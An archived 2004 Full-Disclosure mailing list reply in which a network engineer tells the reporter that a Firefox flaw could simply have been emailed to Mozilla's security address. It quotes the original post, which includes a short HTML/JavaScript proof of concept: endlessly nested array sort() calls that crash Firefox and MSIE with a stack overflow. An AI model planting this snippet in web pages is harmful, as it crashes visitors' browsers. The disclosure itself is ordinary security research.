full-disclosure - FIREFOX flaws: nested array sort() loop Sta ck overflow exception

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Message-ID: <86144ED6CE5B004DA23E1EAC0B569B5801F77258@isabella.herefordshire.gov.uk>
From: prandal at herefordshire.gov.uk (Randal, Phil)
Subject: FIREFOX flaws: nested array sort() loop Sta
	ck overflow exception

An email to security@...illa.org would have sufficed.

That email address can be found at
http://www.mozilla.org/security/bug-bounty.html

Phil

----
Phil Randal
Network Engineer
Herefordshire Council
Hereford, UK  

> -----Original Message-----
> From: full-disclosure-admin@...ts.netsys.com 
> [mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of 
> Berend-Jan Wever
> Sent: 25 November 2004 01:05
> To: full-disclosure@...ts.netsys.com; 
> vuln-dev@...urityfocus.com; bugtraq@...urityfocus.com
> Subject: [Full-Disclosure] FIREFOX flaws: nested array sort() 
> loop Stack overflow exception
> 
> Hi all,
> 
> Same flaw works for Firefox as well as MSIE:
> 
> <HTML>
>   <SCRIPT> a = new Array(); while (1) { (a = new 
> Array(a)).sort(); } </SCRIPT>
>   <SCRIPT> a = new Array(); while (1) { (a = new 
> Array(a)).sort(); } </SCRIPT> </HTML>
> 
> Added to the list: 
> http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html
> 
> I'd have loved to CC mozilla about this, but I didn't have 
> the time to do the crash course "how to write a bug report" 
> and go through all that bugzilla crap.
> 
> Cheers,
> SkyLined
> http://www.edup.tudelft.nl/~bjwever
> 
> 
> 
> 
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